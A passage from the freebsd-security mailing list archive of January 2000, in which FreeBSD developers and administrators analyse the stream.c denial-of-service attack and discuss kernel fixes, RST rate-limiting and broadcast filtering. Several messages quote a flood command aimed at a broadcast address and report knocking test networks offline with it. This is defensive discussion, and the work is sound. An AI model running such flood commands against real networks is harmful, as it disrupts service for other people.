FreeBSD.org :I then played around, using the FreeBSD box to launch an :attack with the command ./stream 10.255.255.255 0 0 10000. :Oh WOW! The network came to a screaching halt. An old :laptop 100 MHz Pentium laptop stopped responding, and a much :newer Windows 98 machine slowed noticably. The collision :light went from an occasional blink to pegged on the :network hub. The NT machine took forever to read from the CD :ROM on the Win98 machine. The linux box stopped responding :altogether. No machine crashed. I ran the attack for 30 :minutes. As soon as the attack was terminated, all boxes :returned to normal activity. : :(On interesting side note. The Redhat machine would not let :me attempt a stream attack with 10.255.255.255. It would :only return a socket: permission denied error.) : :*==============================================* :*Gene Harris http://www.tetronsoftware.com* Yes, this is called a broadcast attack. One of the most important rule sets you should have in your border router is to filter out any external packets sent to your internal broadcast address, so people outside your network can't saturate it with internal machine responses. IRC hackers often use open broadcast addresses to mount attacks on third parties. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:49:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 6686514E59 for ; Fri, 21 Jan 2000 22:49:39 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id XAA00397; Fri, 21 Jan 2000 23:49:30 -0700 (MST) Message-Id: <4.2.2.20000121234647.01948870@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 23:49:28 -0700 To: Matthew Dillon , gdonl@tsc.tdk.com (Don Lewis) From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG In-Reply-To: <200001220639.WAA68014@apollo.backplane.com> References: <200001220624.WAA15869@salsa.gv.tsc.tdk.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:39 PM 1/21/2000 , Matthew Dillon wrote: > But he can't. We drop packets sent to multicast destinations and > any RST responses back to multicast sources will be rate-limited. OSPF > has its own protocol, it will ignore any TCP garbage on its multicast > address. Maybe. Or maybe the routers will do what the other boxes are doing: send one of several possible error responses (ICMP unreachable, etc.) BACK TO THE MULTICAST ADDRESS. I would not put it past them to have this misfeature. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:49:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from tetron02.tetronsoftware.com (ftp.tetronsoftware.com [208.236.46.106]) by hub.freebsd.org (Postfix) with ESMTP id C0DCB155A2 for ; Fri, 21 Jan 2000 22:49:43 -0800 (PST) (envelope-from zeus@tetronsoftware.com) Received: from tetron02.tetronsoftware.com (tetron02.tetronsoftware.com [208.236.46.106]) by tetron02.tetronsoftware.com (8.9.3/8.9.3) with ESMTP id AAA05668; Sat, 22 Jan 2000 00:53:18 -0600 (CST) (envelope-from zeus@tetronsoftware.com) Date: Sat, 22 Jan 2000 00:53:18 -0600 (CST) From: Gene Harris To: Brett Glass Cc: freebsd-security@freebsd.org Subject: Re: Follow Up to NT DoS w/stream In-Reply-To: <4.2.2.20000121234159.0198a100@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I will look at this with some network analysis hardware Monday. My son has a hockey tournament this week end, so all the fun and games gives way to real life fun and games. :-) *==============================================* *Gene Harris http://www.tetronsoftware.com* *FreeBSD Novice * *All ORBS.org SMTP connections are denied! * *==============================================* On Fri, 21 Jan 2000, Brett Glass wrote: > At 11:42 PM 1/21/2000 , Gene Harris wrote: > > >I then played around, using the FreeBSD box to launch an > >attack with the command ./stream 10.255.255.255 0 0 10000. > >Oh WOW! The network came to a screaching halt. An old > >laptop 100 MHz Pentium laptop stopped responding, and a much > >newer Windows 98 machine slowed noticably. The collision > >light went from an occasional blink to pegged on the > >network hub. The NT machine took forever to read from the CD > >ROM on the Win98 machine. The linux box stopped responding > >altogether. No machine crashed. I ran the attack for 30 > >minutes. As soon as the attack was terminated, all boxes > >returned to normal activity. > > Sounds like the RSTs were being amplified into an ICMP storm. > > --Brett > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:59:27 2000 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 7523215551 for ; Fri, 21 Jan 2000 22:59:24 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id WAA60141; Fri, 21 Jan 2000 22:59:15 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200001220659.WAA60141@gndrsh.dnsmgr.net> Subject: Re: Follow Up to NT DoS w/stream In-Reply-To: <200001220646.WAA68092@apollo.backplane.com> from Matthew Dillon at "Jan 21, 2000 10:46:55 pm" To: dillon@apollo.backplane.com (Matthew Dillon) Date: Fri, 21 Jan 2000 22:59:15 -0800 (PST) Cc: zeus@tetronsoftware.com (Gene Harris), freebsd-security@FreeBSD.ORG, brett@lariat.org (Brett Glass) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > :I then played around, using the FreeBSD box to launch an > :attack with the command ./stream 10.255.255.255 0 0 10000. > :Oh WOW! The network came to a screaching halt. An old > :laptop 100 MHz Pentium laptop stopped responding, and a much > :newer Windows 98 machine slowed noticably. The collision > :light went from an occasional blink to pegged on the > :network hub. The NT machine took forever to read from the CD > :ROM on the Win98 machine. The linux box stopped responding > :altogether. No machine crashed. I ran the attack for 30 > :minutes. As soon as the attack was terminated, all boxes > :returned to normal activity. > : > :(On interesting side note. The Redhat machine would not let > :me attempt a stream attack with 10.255.255.255. It would > :only return a socket: permission denied error.) > : > :*==============================================* > :*Gene Harris http://www.tetronsoftware.com* > > Yes, this is called a broadcast attack. One of the most important > rule sets you should have in your border router is to filter out > any external packets sent to your internal broadcast address, so > people outside your network can't saturate it with internal machine > responses. > > IRC hackers often use open broadcast addresses to mount attacks on > third parties. And people wonder how we get to 300 and 400 rule filter sets :-). We are now just over 100 rules just for IP broadcast addresses... and thats only protecting a very densly subnetted /22 (lots of p2p /30's in it). -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 22:59:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 2D3D314DEF for ; Fri, 21 Jan 2000 22:59:41 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id WAA19099; Fri, 21 Jan 2000 22:59:38 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id WAA53413; Fri, 21 Jan 2000 22:59:38 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id WAA15977; Fri, 21 Jan 2000 22:59:37 -0800 (PST) Message-Id: <200001220659.WAA15977@salsa.gv.tsc.tdk.com> From: gdonl@tsc.tdk.com (Don Lewis) Date: Fri, 21 Jan 2000 22:59:37 -0800 In-Reply-To: Warner Losh "Re: stream.c worst-case kernel paths" (Jan 21, 11:09pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Warner Losh , gdonl@tsc.tdk.com (Don Lewis) Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 21, 11:09pm, Warner Losh wrote: } Subject: Re: stream.c worst-case kernel paths } In message <200001220551.VAA15775@salsa.gv.tsc.tdk.com> Don Lewis writes: } : (b) still needs to be generalized to cover other paths that generate } : RST packets. } } Matt has a patch for (b). Which is why I didn't implement (b). I figured his implementation would be better than mine. } You two might want to merge the two. That sounds good to me. } I } think that the discarding of multi-cast packets is one of those can't } hurt sorts of things. } } I'm less sure about the wildcard stuff. What's the measurable results } on this change? It will save some CPU cycles, but IMHO it seems cleaner to have non-SYN packets ignore the listening sockets. Why should the path though the code for a non-SYN packet depend on whether there is a listening socket that matches the packet's destination address and port? This would also allow us to clean up some of the code that handles the LISTEN state. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 23: 3:36 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id D045114DEF for ; Fri, 21 Jan 2000 23:03:29 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id XAA25006; Fri, 21 Jan 2000 23:01:49 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id XAA02218; Fri, 21 Jan 2000 23:01:49 -0800 Received: from softweyr.com (homer.softweyr.com [204.68.178.39]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id XAA27358; Fri, 21 Jan 2000 23:00:23 -0800 (PST) Message-ID: <388956E2.4CECCB89@softweyr.com> Date: Sat, 22 Jan 2000 00:06:10 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon Cc: Poul-Henning Kamp , Alfred Perlstein , Brett Glass , security@freebsd.org Subject: Re: stream.c worst-case kernel paths References: <7263.948497709@critter.freebsd.dk> <200001212353.PAA64927@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Dillon wrote: > > Sorry about that. I'm freaking out a little because we are too damn close > to release to be making any big changes to the network stack and protocols. > Frankly, big changes are not necessary. Right. It seems that simply dumping the multicast TCP packets earlier rather than later will avoid the worst effects of the attack. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 23:13: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 02ED614C3C for ; Fri, 21 Jan 2000 23:13:06 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id XAA25017; Fri, 21 Jan 2000 23:11:24 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id XAA03015; Fri, 21 Jan 2000 23:11:24 -0800 Received: from softweyr.com (homer.softweyr.com [204.68.178.39]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id XAA27653; Fri, 21 Jan 2000 23:10:01 -0800 (PST) Message-ID: <38895924.5C358388@softweyr.com> Date: Sat, 22 Jan 2000 00:15:48 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon Cc: Brett Glass , Warner Losh , Darren Reed , security@freebsd.org Subject: Re: stream.c worst-case kernel paths References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <4.2.2.20000121163937.01a51dc0@localhost> <200001220035.QAA65392@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Dillon wrote: > > I wouldn't worry about multicast addresses for several reasons. First, very > few machines actually run a multicast router. No router, no problem. Second, > multicast tunnels tend to be bandwidth limited anyway. Third, from the point > of view of victimizing someone multicast isn't going to get you very far > because we already check for a multicast destination. We don't really need > to check for a multicast source because it's really no different from a > victimizing point of view as a non-multicast source address. In my testing this morning, I was running stream against a FreeBSD 3.4-R machine with two interfaces, one on a private net and one one our main LAN. When I hit it with stream using random addresses, it was generating multicast addresses. The target machine began flooding the ACKs onto the main LAN, even though net.inet.ip.forwarding = 0. Who needs a multicast router? I brought 400 machines to their knees and completely flooded a frac T-1 from what was supposed to be an *isolated* test network. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 23:14:17 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 7AD7E1556C for ; Fri, 21 Jan 2000 23:14:14 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id XAA68370; Fri, 21 Jan 2000 23:14:09 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 23:14:09 -0800 (PST) From: Matthew Dillon Message-Id: <200001220714.XAA68370@apollo.backplane.com> To: Wes Peters Cc: Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <4.2.2.20000121163937.01a51dc0@localhost> <200001220035.QAA65392@apollo.backplane.com> <38895924.5C358388@softweyr.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : :Matthew Dillon wrote: :> :> I wouldn't worry about multicast addresses for several reasons. First, very :> few machines actually run a multicast router. No router, no problem. Second, :> multicast tunnels tend to be bandwidth limited anyway. Third, from the point :> of view of victimizing someone multicast isn't going to get you very far :> because we already check for a multicast destination. We don't really need :> to check for a multicast source because it's really no different from a :> victimizing point of view as a non-multicast source address. : :In my testing this morning, I was running stream against a FreeBSD 3.4-R :machine with two interfaces, one on a private net and one one our main :LAN. When I hit it with stream using random addresses, it was generating :multicast addresses. The target machine began flooding the ACKs onto the :main LAN, even though net.inet.ip.forwarding = 0. : :Who needs a multicast router? I brought 400 machines to their knees and :completely flooded a frac T-1 from what was supposed to be an *isolated* :test network. : :Wes Peters Softweyr LLC :wes@softweyr.com http://softweyr.com/ Heh heh. I guess that means I'll have to concede the point. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 23:29:40 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id A550214D94 for ; Fri, 21 Jan 2000 23:29:38 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id AAA00725; Sat, 22 Jan 2000 00:29:22 -0700 (MST) Message-Id: <4.2.2.20000122002353.019b9c10@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sat, 22 Jan 2000 00:29:21 -0700 To: gdonl@tsc.tdk.com (Don Lewis), gdonl@tsc.tdk.com (Don Lewis), Matthew Dillon , Giorgos Keramidas From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Warner Losh , Darren Reed , security@FreeBSD.ORG In-Reply-To: <200001220632.WAA15894@salsa.gv.tsc.tdk.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:32 PM 1/21/2000 , Don Lewis wrote: >Actually, I think TH_SYN+TH_RST should immediately go to "drop", >do not pass GO, do not collect $200 ... You're right. Actually, shouldn't RST- be tossed, since you should never reply to a RST? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 23:42:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from titan.cc.wwu.edu (titan.cc.wwu.edu [140.160.240.18]) by hub.freebsd.org (Postfix) with ESMTP id 368D914C5A for ; Fri, 21 Jan 2000 23:42:06 -0800 (PST) (envelope-from n8412060@cc.wwu.edu) Received: from localhost by titan.cc.wwu.edu (8.9.1/8.9.1) with ESMTP id XAA04537 for ; Fri, 21 Jan 2000 23:42:04 -0800 (PST) Date: Fri, 21 Jan 2000 23:42:04 -0800 (PST) From: "mr. t" To: security@FreeBSD.ORG Subject: attack notification via email Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Regarding stream, DOS Smurf, trash packet bombing and sybounce... Be nice to have the OS send an email. I realize this is what syslog is for but since this might be a once in awhile sort of a thing and its very important, if you are going to go to the trouble of making the OS smart enough to recognize these - make option to email the sysadmin too with an alert message. That's a little more in-your-face than syslog and might be appropriate for this once in a lifetime event. At least the option would be really great and give alot of piece of mind - no alerts, nothing happened while out to lunch. Not all sysadmins know who to write a utility to scan the logs and email an alert. Besides that's kludgy. Just a thought... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 23:42:35 2000 Delivered-To: freebsd-security@freebsd.org Received: from staff.accessus.net (staff.accessus.net [209.145.151.3]) by hub.freebsd.org (Postfix) with ESMTP id 2F930150EC for ; Fri, 21 Jan 2000 23:42:13 -0800 (PST) (envelope-from jyoung@accessus.net) Received: by staff.accessus.net with Internet Mail Service (5.5.2650.21) id ; Sat, 22 Jan 2000 01:42:08 -0600 Message-ID: From: Jason Young To: 'Brett Glass' , Matthew Dillon , Dag-Erling Smorgrav Cc: Keith Stevenson , freebsd-security@FreeBSD.ORG Subject: RE: Some observations on stream.c and streamnt.c Date: Sat, 22 Jan 2000 01:42:05 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > You propose rate-limiting RSTs, and I agree that this could help > against an attack. But there are two problems. First, it allows > port probing; and second, it might actually be a problem if a system > crashes while a large number of connections are active and then > immediately reboots. The flurry of necessary RSTs sent at the outset > might exceed the limit and fail to clean up the mess. So, you'd > probably want to allow a fairly high rate of RSTs at boot time (not > enough to crash the machine) and then fewer later on. Things > WILL get > back to normal quicker if you can RST all of the sessions that were > active before the reboot. In this situation you are absolutely right: > RSTs can do something useful. The job of the FreeBSD TCP/IP stack is to implement the TCP/IP standards in a correct and reasonable manner for all users. Stopping of probes and other purposes for which you need to selectively drop certain packets to your system is an expression of your local policy. The tool used to impose your local IP packet handling policy is a firewall. Freely available implementations are 'ipfw' and 'ipfilter'. Copious documentation is provided. It is the Right Tool for the job. Drop packets to the ports you're not using and don't want scanned. If the port needs to be open, then it can be "scanned" by simply connect()ing to it. IPFW's non-statefulness makes it harder to dodge some of the more odd portscans, if I recall correctly, but you can still do it. As for bursts of RSTs overloading a server on bootup: If a client sends a packet to a server, and the server fails to send a RST for whatever reason, that client will continue retrying for an interval, giving the server additional chances to reset the connection. Envision a situation where somebody accidentally bumps the Big Red Button on ftp.cdrom.com, and immediately brings it back up. If it rate-limited its outgoing RSTs and hit this limit momentarily (and I really think this would be unlikely in the extreme if the RST rate-limiting threshold is reasonable), some of its clients will get their session cleared immediately by an RST, and some of the clients would get no response. The clients' TCP stack would then retry, and probably get the RST this time around since the machine is working off its RST workload. There would have to be some terribly pathological number of connections to the machine for it not to be able to RST all (active) open TCP sessions within 2 or 3 client retry cycles. In this case the clients will still eventually gracefully fail by timeout as if the server had never come back up. Jason Young accessUS Chief Network Engineer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 0:15:53 2000 Delivered-To: freebsd-security@freebsd.org Received: from mta4.snfc21.pbi.net (mta4.snfc21.pbi.net [206.13.28.142]) by hub.freebsd.org (Postfix) with ESMTP id 9E2F014F88 for ; Sat, 22 Jan 2000 00:15:50 -0800 (PST) (envelope-from madscientist@thegrid.net) Received: from remus ([63.193.246.169]) by mta4.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.1999.09.16.21.57.p8) with SMTP id <0FOQ0032C9L1XG@mta4.snfc21.pbi.net> for freebsd-security@FreeBSD.org; Sat, 22 Jan 2000 00:15:03 -0800 (PST) Date: Sat, 22 Jan 2000 00:16:09 -0800 From: The Mad Scientist Subject: Re: TCP/IP In-reply-to: X-Sender: i289861@mail.thegrid.net To: freebsd-security@FreeBSD.org Message-id: <4.1.20000122001259.00973ea0@mail.thegrid.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Content-type: text/plain; charset="us-ascii" References: <002801bf61de$b2663560$0900000a@server> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I also use these two options from LINT: # TCP_RESTRICT_RST adds support for blocking the emission of TCP RST packets. # This is useful on systems which are exposed to SYN floods (e.g. IRC servers) # or any system which one does not want to be easily portscannable. # options TCP_DROP_SYNFIN #drop TCP packets with SYN+FIN options TCP_RESTRICT_RST #restrict emission of TCP RST And of course, ICMP_BANDLIM # ICMP_BANDLIM enables icmp error response bandwidth limiting. You # typically want this option as it will help protect the machine from # D.O.S. packet attacks. options "ICMP_BANDLIM" This is on a -stable machine. -Dean At 11:41 AM 1/18/00 -0600, you wrote: >On Tue, 18 Jan 2000, Jonathan Fortin wrote: >> I noticed that most of the firewalls out there don't cover protection e.g, >on a denial of service attack, it should ignore the whole protocol >> but only allow packets with 3k in lenght. etc. > >The only real DoS 'thing' I've noticed is the ICMP_BANDLIM to limit icmp >error responses, which works fairly well. Most of the DoS stuff, IMHO, >should be done at the router, and the one on the input-end of the link if >you can. This protects the link as well as the host. Amplifiers can really >overwhelm a link... Of course, if you are using FreeBSD as your router, >this becomes very implrtant on the host again, right Dennis? > >I would *love* to hear what others have done besides the usual ipfw rules. >Thanks - Jy@ > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 0:24:12 2000 Delivered-To: freebsd-security@freebsd.org Received: from gate.az.com (gate.az.com [216.145.8.252]) by hub.freebsd.org (Postfix) with ESMTP id 741E614F09 for ; Sat, 22 Jan 2000 00:24:09 -0800 (PST) (envelope-from yankee@gate.az.com) Received: (from yankee@localhost) by gate.az.com (8.8.5/8.8.5) id AAA06887; Sat, 22 Jan 2000 00:24:02 -0800 (PST) Date: Sat, 22 Jan 2000 00:24:00 -0800 (PST) From: "Dan Seafeldt, AZ.COM System Administrator" To: security@FreeBSD.ORG Subject: attack arbitration server Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Another idea... An option to send a special message upon attack to a central server at CDROM or other appropriate third party. Networks could 'elect' to be a part of an automatic notification service whereby a special block and note was made in the OS to alert of contacts from semi-blacklisted addresses. Other nearby intranet based machines could be quickly notified as well. In addition, the FreeBSD Host or firewall being notified could, upon sysadmin election, determine a level of 'throttle back' or complete filtration from this IP block should contact be made. This would be an automatic protection network for participating members. A central web site would catalog and history nasties and all sorts of good and valuable consideration. Of course a PGP communication would have to be made to prevent message forgery and other things but this task could be done, and hey - if FreeBSD was the first to have this system, it would definately be a brag. In addition sysadmins could elect to have system patches automatically delivered and installed using a secure delivery mechanism straight from the FreeBSD team - again more work, but an idea worth considering. I think the FreeBSD is as deserving as trust as the designers who work on the code. I can tell you that I have talked to more than one Former Softie who admitted there is ... well I won't say it aloud, but I'm sure you can figure out what I was about to say... If we put our faith and trust in the people who code FreeBSD and not our faith in people who code a commericial OS and own part of a commerical OS and sell us a Commercial OS and expect as to leave our trade secrets on their Commericial OS based internet connections - If we choose to steer clear of the Back Orifices and put our BUSINESS ON THE LINE using FreeBSD - we have to have that trust - who has time to slave over every line of code looking for an inside security job - impossible!... We're really talking about FREEdom here with FREEbsd The ability to be in business and not constantly have your VALUABLE COMPANY SECRETS STOLEN BY YOUR WORST NIGHTMARE OF COMPANIES IN THE BUSINESS JUNGLE - Information isn't power - its more than that - its EVERYTHING! It is the key to survival and why the internet is full of new business that is flourishing because this new option for an OS emerged thanks to Bill Joy and that followed. We might as well put our faith in letting The FreeBSD team give us the option to automatically deliver updates to us and send notifications to an arbiter. Imagine the value of an arbiter option that can be enabled if the sysadmin choses that would allow a central security officer to see the scope and nature of attacks Internet wide. This would be of great value I'm sure. Keep up the great work FreeBSD team and may the force be with you. You are Small Business in America's hope among many more. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 0:55: 5 2000 Delivered-To: freebsd-security@freebsd.org Received: from gate.az.com (gate.az.com [216.145.8.252]) by hub.freebsd.org (Postfix) with ESMTP id 72AB414EF7 for ; Sat, 22 Jan 2000 00:55:03 -0800 (PST) (envelope-from yankee@gate.az.com) Received: (from yankee@localhost) by gate.az.com (8.8.5/8.8.5) id AAA08529; Sat, 22 Jan 2000 00:55:03 -0800 (PST) Date: Sat, 22 Jan 2000 00:55:02 -0800 (PST) From: "Dan Seafeldt, AZ.COM System Administrator" To: security@FreeBSD.org Subject: Microsoft Windows Update Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org http://windowsupdate.microsoft.com This website has delivered automatically several fixes to the OS involving Dos and even more importantly data break-in in the past few months. It is distressing to continually get notified of new fixes involving invasion of privacy or possible loss of confidential business data. These fixes usually involve html or JAVA related involving IE but some OS fixes have been posted as well. Although if FreeBSD implemented something similar to this, it might be nice to consider when public notification of the nature of the problem before, during or after a particular fix was automatically disseminated would be appropriate. From what I can tell the automatic part of Windows Update is an opt-in deal, it does not enable unless you answer a question the first time you go to that website, if you answer yes, it becomes a permanent thing running in the background. The Windows update website does not seem to consider the timing of the posting of security breach details or descriptions. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 1: 2:45 2000 Delivered-To: freebsd-security@freebsd.org Received: from atdot.dotat.org (atdot.dotat.org [150.101.89.3]) by hub.freebsd.org (Postfix) with ESMTP id C569C14EF7 for ; Sat, 22 Jan 2000 01:02:37 -0800 (PST) (envelope-from newton@atdot.dotat.org) Received: (from newton@localhost) by atdot.dotat.org (8.9.3/8.9.3) id TAA10927; Sat, 22 Jan 2000 19:27:49 +1030 (CST) (envelope-from newton) Date: Sat, 22 Jan 2000 19:27:49 +1030 From: Mark Newton To: "Dan Seafeldt, AZ.COM System Administrator" Cc: security@FreeBSD.ORG Subject: Re: Microsoft Windows Update Message-ID: <20000122192749.C8128@atdot.dotat.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from yankee@az.com on Sat, Jan 22, 2000 at 12:55:02AM -0800 X-PGP-Key: http://slash.dotat.org/~newton/pgpkey.txt Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, Jan 22, 2000 at 12:55:02AM -0800, Dan Seafeldt, AZ.COM System Administrator wrote: > http://windowsupdate.microsoft.com > This website has delivered automatically several fixes to the OS involving > Dos How does Microsoft deliver fixes for Dos? Install Win98 over the top of it? :-) - mark [ musing that the computer industry has at least two acronyms for "DOS", and both of them mean more or less the same thing ] -------------------------------------------------------------------- I tried an internal modem, newton@atdot.dotat.org but it hurt when I walked. Mark Newton ----- Voice: +61-4-1620-2223 ------------- Fax: +61-8-82231777 ----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 1: 3:10 2000 Delivered-To: 